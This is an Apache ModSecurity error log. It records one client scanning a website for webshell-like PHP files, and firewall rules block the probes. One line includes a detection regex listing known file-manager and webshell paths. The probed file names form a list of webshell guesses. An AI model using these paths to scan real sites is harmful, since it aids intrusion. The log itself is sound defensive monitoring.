[Sat May 16 02:15:22.288985 2026] [:error] [pid 59522:tid 59572] [client 4.205.123.246:37980] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agdiuoKyKAkpeBAoLCZXxQAAA9E"]
[Sat May 16 02:15:23.074989 2026] [:error] [pid 30208:tid 30224] [client 4.205.123.246:38701] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agdiu5mLMCJujX-JTvhUrgAAAI4"]
[Sat May 16 02:15:24.202466 2026] [:error] [pid 59517:tid 59538] [client 4.205.123.246:37628] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agdivMWGuSBVizA7n2P3VQAAA4s"]
[Sat May 16 02:15:24.849771 2026] [:error] [pid 9305:tid 9339] [client 4.205.123.246:38216] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/drykl.php"] [unique_id "agdivN5FZyBmdCM8GsGlewAAAEE"]
[Sat May 16 02:15:25.580287 2026] [:error] [pid 30208:tid 30225] [client 4.205.123.246:38167] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agdivZmLMCJujX-JTvhUsQAAAI8"]
[Sat May 16 02:15:26.182963 2026] [:error] [pid 9392:tid 9408] [client 4.205.123.246:38153] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agdivtBWJIjH1U9zGfYHegAAAQ4"]
[Sat May 16 02:15:26.934511 2026] [:error] [pid 30208:tid 30215] [client 4.205.123.246:37527] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agdivpmLMCJujX-JTvhUswAAAIU"]
[Sat May 16 02:15:27.524560 2026] [:error] [pid 30208:tid 30222] [client 4.205.123.246:38193] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "agdiv5mLMCJujX-JTvhUtQAAAIw"]
[Sat May 16 02:15:28.034329 2026] [:error] [pid 59522:tid 59578] [client 4.205.123.246:38421] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agdiwIKyKAkpeBAoLCZXxgAAA9c"]
[Sat May 16 02:15:28.556850 2026] [:error] [pid 9392:tid 9415] [client 4.205.123.246:38671] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agdiwNBWJIjH1U9zGfYHfAAAARU"]
[Sat May 16 02:15:29.269782 2026] [:error] [pid 59522:tid 59568] [client 4.205.123.246:38210] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agdiwYKyKAkpeBAoLCZXyAAAA80"]
[Sat May 16 02:15:29.913203 2026] [:error] [pid 59522:tid 59558] [client 4.205.123.246:38458] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "agdiwYKyKAkpeBAoLCZXyQAAA8M"]
[Sat May 16 02:15:30.462506 2026] [:error] [pid 59202:tid 59230] [client 4.205.123.246:38192] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agdiwkORbjeqf1CKQ2KD7QAAAhI"]
[Sat May 16 02:15:31.309749 2026] [:error] [pid 9307:tid 9374] [client 4.205.123.246:38691] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agdiwyC43jY1IRzK5VZz5gAAAMk"]
[Sat May 16 02:15:32.303506 2026] [:error] [pid 59522:tid 59570] [client 4.205.123.246:38501] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agdixIKyKAkpeBAoLCZXzQAAA88"]
[Sat May 16 02:15:34.235586 2026] [:error] [pid 30272:tid 30298] [client 4.205.123.246:37616] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/77.php"] [unique_id "agdixnvc_jSFaQ_7_wcxLAAAAZg"]
[Sat May 16 02:15:35.042229 2026] [:error] [pid 9392:tid 9411] [client 4.205.123.246:38675] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agdix9BWJIjH1U9zGfYHfgAAARE"]
[Sat May 16 02:15:35.902976 2026] [:error] [pid 30208:tid 30231] [client 4.205.123.246:38231] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agdix5mLMCJujX-JTvhUuQAAAJU"]
[Sat May 16 02:15:37.251353 2026] [:error] [pid 59522:tid 59562] [client 4.205.123.246:37502] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agdiyYKyKAkpeBAoLCZXzwAAA8c"]
[Sat May 16 02:15:38.054464 2026] [:error] [pid 59202:tid 59220] [client 4.205.123.246:38898] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x402.php"] [unique_id "agdiykORbjeqf1CKQ2KD7gAAAgo"]
[Sat May 16 02:15:39.333438 2026] [:error] [pid 59522:tid 59569] [client 4.205.123.246:38856] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agdiy4KyKAkpeBAoLCZX0QAAA84"]
[Sat May 16 02:15:41.283229 2026] [:error] [pid 59517:tid 59541] [client 4.205.123.246:37976] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agdizcWGuSBVizA7n2P3XAAAA44"]
[Sat May 16 02:15:41.894614 2026] [:error] [pid 9305:tid 9352] [client 4.205.123.246:38657] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agdizd5FZyBmdCM8GsGlfwAAAE4"]
[Sat May 16 02:15:42.486531 2026] [:error] [pid 30272:tid 30295] [client 4.205.123.246:38147] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "agdiznvc_jSFaQ_7_wcxMgAAAZU"]
[Sat May 16 02:15:42.989402 2026] [:error] [pid 9307:tid 9379] [client 4.205.123.246:37441] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "agdiziC43jY1IRzK5VZz8QAAAM4"]
[Sat May 16 02:15:44.214471 2026] [:error] [pid 30272:tid 30281] [client 4.205.123.246:33142] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "agdi0Hvc_jSFaQ_7_wcxNAAAAYc"]
[Sat May 16 02:15:44.893585 2026] [:error] [pid 30272:tid 30285] [client 4.205.123.246:36962] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "agdi0Hvc_jSFaQ_7_wcxNQAAAYs"]
[Sat May 16 02:15:45.761278 2026] [:error] [pid 59311:tid 59318] [client 4.205.123.246:36354] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "agdi0bGBV7OkryAk5AOaEwAAAoM"]
[Sat May 16 02:15:46.315071 2026] [:error] [pid 9392:tid 9413] [client 4.205.123.246:36965] [client 4.205.123.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "agdi0tBWJIjH1U9zGfYHgQAAARM"]
[Sat May 16 02:15:46.826114 2026] [:error] [pid 9392:tid 9412] [client 4.205.123.246:37941] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agdi0tBWJIjH1U9zGfYHggAAARI"]
[Sat May 16 02:15:47.681316 2026] [:error] [pid 9392:tid 9407] [client 4.205.123.246:38905] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agdi09BWJIjH1U9zGfYHgwAAAQ0"]
[Sat May 16 02:15:49.828016 2026] [:error] [pid 30208:tid 30223] [client 4.205.123.246:36956] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agdi1ZmLMCJujX-JTvhUvgAAAI0"]
[Sat May 16 02:15:51.295832 2026] [:error] [pid 9305:tid 9356] [client 4.205.123.246:38146] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w.php"] [unique_id "agdi195FZyBmdCM8GsGlgQAAAFI"]
[Sat May 16 02:15:52.073129 2026] [:error] [pid 59522:tid 59558] [client 4.205.123.246:38490] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "agdi2IKyKAkpeBAoLCZX1QAAA8M"]
[Sat May 16 02:15:52.585867 2026] [:error] [pid 59522:tid 59574] [client 4.205.123.246:37913] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "agdi2IKyKAkpeBAoLCZX1wAAA9M"]
[Sat May 16 02:15:54.357717 2026] [:error] [pid 59522:tid 59573] [client 4.205.123.246:36963] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "agdi2oKyKAkpeBAoLCZX2QAAA9I"]
[Sat May 16 02:15:55.008607 2026] [:error] [pid 59522:tid 59555] [client 4.205.123.246:37631] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "agdi24KyKAkpeBAoLCZX2gAAA8A"]
[Sat May 16 02:15:55.536839 2026] [:error] [pid 59522:tid 59563] [client 4.205.123.246:38261] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "agdi24KyKAkpeBAoLCZX2wAAA8g"]
[Sat May 16 02:15:56.204911 2026] [:error] [pid 9307:tid 9382] [client 4.205.123.246:37469] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "agdi3CC43jY1IRzK5VZz9gAAANE"]
[Sat May 16 02:15:56.960972 2026] [:error] [pid 30272:tid 30280] [client 4.205.123.246:38485] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "agdi3Hvc_jSFaQ_7_wcxNwAAAYY"]
[Sat May 16 02:16:00.294550 2026] [:error] [pid 9305:tid 9361] [client 4.205.123.246:36426] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "agdi4N5FZyBmdCM8GsGlgwAAAFc"]
[Sat May 16 02:16:00.969797 2026] [:error] [pid 59311:tid 59334] [client 4.205.123.246:38911] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "agdi4LGBV7OkryAk5AOaFwAAApM"]
[Sat May 16 02:16:01.782511 2026] [:error] [pid 59311:tid 59320] [client 4.205.123.246:37471] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "agdi4bGBV7OkryAk5AOaGAAAAoU"]
[Sat May 16 02:16:02.633995 2026] [:error] [pid 59202:tid 59221] [client 4.205.123.246:38848] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "agdi4kORbjeqf1CKQ2KD8wAAAgs"]
[Sat May 16 02:16:03.340057 2026] [:error] [pid 59202:tid 59219] [client 4.205.123.246:39092] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "agdi40ORbjeqf1CKQ2KD9AAAAgk"]
[Sat May 16 02:16:04.227442 2026] [:error] [pid 59311:tid 59315] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Sat May 16 02:16:04.645865 2026] [:error] [pid 59311:tid 59325] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/cu.php
[Sat May 16 02:16:04.957310 2026] [:error] [pid 59311:tid 59324] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Sat May 16 02:16:05.186818 2026] [:error] [pid 59311:tid 59326] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/sallu.php
[Sat May 16 02:16:05.468862 2026] [:error] [pid 59311:tid 59335] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/ng.php
[Sat May 16 02:16:05.705090 2026] [:error] [pid 59311:tid 59331] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/link.php
[Sat May 16 02:16:06.152529 2026] [:error] [pid 59311:tid 59319] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sat May 16 02:16:06.373063 2026] [:error] [pid 59311:tid 59338] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
[Sat May 16 02:16:06.665045 2026] [:error] [pid 59311:tid 59323] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat May 16 02:16:06.913330 2026] [:error] [pid 59311:tid 59337] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Sat May 16 02:16:07.146973 2026] [:error] [pid 59311:tid 59316] [client 4.205.123.246:37486] File does not exist: /usr/local/apache/htdocs/suspended-page/one.php
[Sat May 16 02:16:08.471691 2026] [:error] [pid 59311:tid 59316] [client 4.205.123.246:37486] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agdi6LGBV7OkryAk5AOaJQAAAoE"]
[Sat May 16 02:16:09.260860 2026] [:error] [pid 59517:tid 59545] [client 4.205.123.246:38526] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agdi6cWGuSBVizA7n2P3YAAAA5I"]
[Sat May 16 02:16:10.289672 2026] [:error] [pid 30272:tid 30284] [client 4.205.123.246:38006] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agdi6nvc_jSFaQ_7_wcxOwAAAYo"]
[Sat May 16 02:16:10.843940 2026] [:error] [pid 59522:tid 59562] [client 4.205.123.246:39036] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error_log.php"] [unique_id "agdi6oKyKAkpeBAoLCZX3gAAA8c"]
[Sat May 16 02:16:11.672270 2026] [:error] [pid 59522:tid 59569] [client 4.205.123.246:37912] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "agdi64KyKAkpeBAoLCZX3wAAA84"]
[Sat May 16 02:16:12.155794 2026] [:error] [pid 59311:tid 59333] [client 4.205.123.246:37493] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "agdi7LGBV7OkryAk5AOaJgAAApI"]
[Sat May 16 02:16:12.989742 2026] [:error] [pid 59522:tid 59565] [client 4.205.123.246:38196] [client 4.205.123.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "agdi7IKyKAkpeBAoLCZX4QAAA8o"]
